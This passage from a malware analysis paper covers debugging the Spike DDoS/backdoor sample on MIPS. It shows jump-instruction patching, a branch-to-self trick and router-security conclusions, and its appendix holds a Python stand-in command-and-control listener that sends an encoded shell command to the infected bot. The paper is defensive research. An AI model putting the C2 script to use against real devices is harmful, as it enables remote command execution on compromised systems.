00400424  jal  _Z9backdoorMPv  # backdoorM(void *)
00400428  nop
0040042c  nop
00400430  nop
00400434  nop
```

Figure 32: Modified calls to thread functions.

When each of the pthread functions was analyzed, it was found that they ran asynchronously in their respective infinite loops. However, certain information such as socket creation and the ability to start/stop certain operations are communicated through global flag variables. When asynchronous thread functions were executed in *‘all-stop’*
mode, it required the modification of certain jump instructions in order to debug the subsequent function.

As described in MIPS instruction set (n.d.) and various other documentations, the J-type or Jump instructions on the 32-bit MIPS architecture are comprised of 6-bit Opcode/Instructions and 26-bit jump target addresses. Since a 32-bit address value can only be represented within 26-bits of a jump instruction, the address is divided by 4 before using it with a jump instruction. In order to modify a jump value to be used in a MIPS instruction, the following formula is used:

\[
\text{Operand Address (26-bits)} = \frac{\text{(target destination address)}}{4} = \text{quotient} \& \ 0x03FFFFFF
\]

The ‘Operand Address’ of the jump target address is then prepended to the instruction opcode. The prepending is done in the Little Endian format due to the fact that the binary being analyzed is in Little Endian format. For example, the modified function call for pthread function `_Z8SendInfoPv` in the aforementioned code is set to, in hexadecimal, ‘DF 25 10 0C’. The actual address of the `_Z8SendInfoPv` function is 0x0040977C which is shown in the following code snippet:

```
0040977C m SendInfo(void *)
0040977C .globl _Z8SendInfoPv
0040977C _Z8SendInfoPv:
0040977C CODE XREF: _ConnectServerA(void) # main+130lp
0040977C var_a = -8
0040977C var_h = -4
0040977C arg_a = 0
0040977C addiu $sp, -8
00409780 sw $ra, 0x20+var_h($sp)
```

Figure 33: Start address of `_Z8SendInfoPv` function

Hence, the Operand Address with the ‘jal’ command is calculated as:

\[
\text{Operand Address} = \frac{0x0040977C}{4} = 0x1025DF \& \ 0x03FFFFFF = 0x1025DF
\]
Thus, prepending the above value (0x1025DF) to the ‘jal’ instruction code (‘0x0C’) as in ‘DF 25 10 0C’ results in a call to the target function at the given address and is resolved by IDA Pro as “jal _Z8SendInfoPv” that is shown in Figure 32 above. By modifying the pthread calls, the thread functions can be analyzed without causing termination of the debugging session.

4.1 Jump to Self

When debugging malware on the x86 platform, a commonly useful instruction is ‘Jump to Self’ or 0xEBFE. This instruction is typically used when a researcher wants to pause code execution at a certain point while the debugger is not attached to it -- for example, in the case of code injection into a suspended process. With various tests it has been determined that on the 32-bit Little Endian MIPS platform, a jump instruction can be modified to ‘FF FF 00 10’ that causes it to branch-to-self.

5. Conclusion

In this paper, we have discussed debugging and code analysis of a Backdoor/DDoS malware sample for the MIPS architecture. The Spike DDoS malware supports various DDoS functions as well as allows the execution of Shell commands. In our research, we have observed that a majority of the malware for the MIPS platform, including a known APT malware, focus on DDoS functionality. Moreover, backdoor access, modification of DNS settings, and other spying mechanisms have also been used by some of these malware. These functionalities can be effectively leveraged by cyber criminals as well as nation-state actors to achieve their various agendas.

The current state of security for the majority of home routers lacks the fundamental mechanisms of scanning and eradicating malicious programs. Moreover, the awareness among end-users regarding the possible malicious usage of their network devices is minimal. As such, an infected home router often remains infected until replaced. This requires that Anti-Virus products, in addition to PCs and laptops, protect other home network devices as well. Both network device vendors and AV vendors need to provide

M. J. Bohio, mjbohio@gmail.com
mechanisms for auto-updating their devices’ firmware and eradicating malicious programs from them as well. This could perhaps help in minimizing these agents of DDoS and other malicious activities.
6. References


M. J. Bohio, mjbohio@gmail.com
Ullrich, J. (2014b). More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!). Retrieved from https://isc2.sans.org/forums/diary/More+Device+Malware+This+is+why+your+DVR+attacked+my+Synology+Disk+Station+and+now+with+Bitcoin+Miner/17879

M. J. Bohio, mjbohio@gmail.com
Appendix A

The following script was used to listen for the malware’s message containing system information. It then sends a shell command to execute on the infected system. The malware traffic was redirected by modifying the IP address of the secondary control server that is shown in Figure 14.

```python
import socket, re, sys, thread

def sendCmd(botconn, botaddr, shellcmd):
    data = botconn.recv(1024)
    if re.search("VERSONEX", data):
        botconn.sendall(shellcmd)
    botconn.close()

if __name__ == "__main__":

    HOST="
    PORT=48080
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((HOST, PORT))
    except:
        print "Bind failed!"
        sys.exit()
    s.listen(2)

    shellcmd = "\x05\x00\x00\x00\x72\xf8\xf6\x64\x86\x68\x98\x16\xd4\xa4\x5e\xcc" + \\n    "\x00\x00\x00\x00\x80\x00\x7c\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + \\n    "\x40\xeb\x6d\x01\xad\x9d\x95\x7c\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + \\n    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
```

M. J. Bohio, mjbohio@gmail.com
Analysis of a MIPS Malware

M. J. Bohio, mjbohio@gmail.com

While 1:
    botconn, botaddr = s.accept()
    thread.start_new_thread(sendCmd, (botconn, botaddr, shellcmd))

s.close()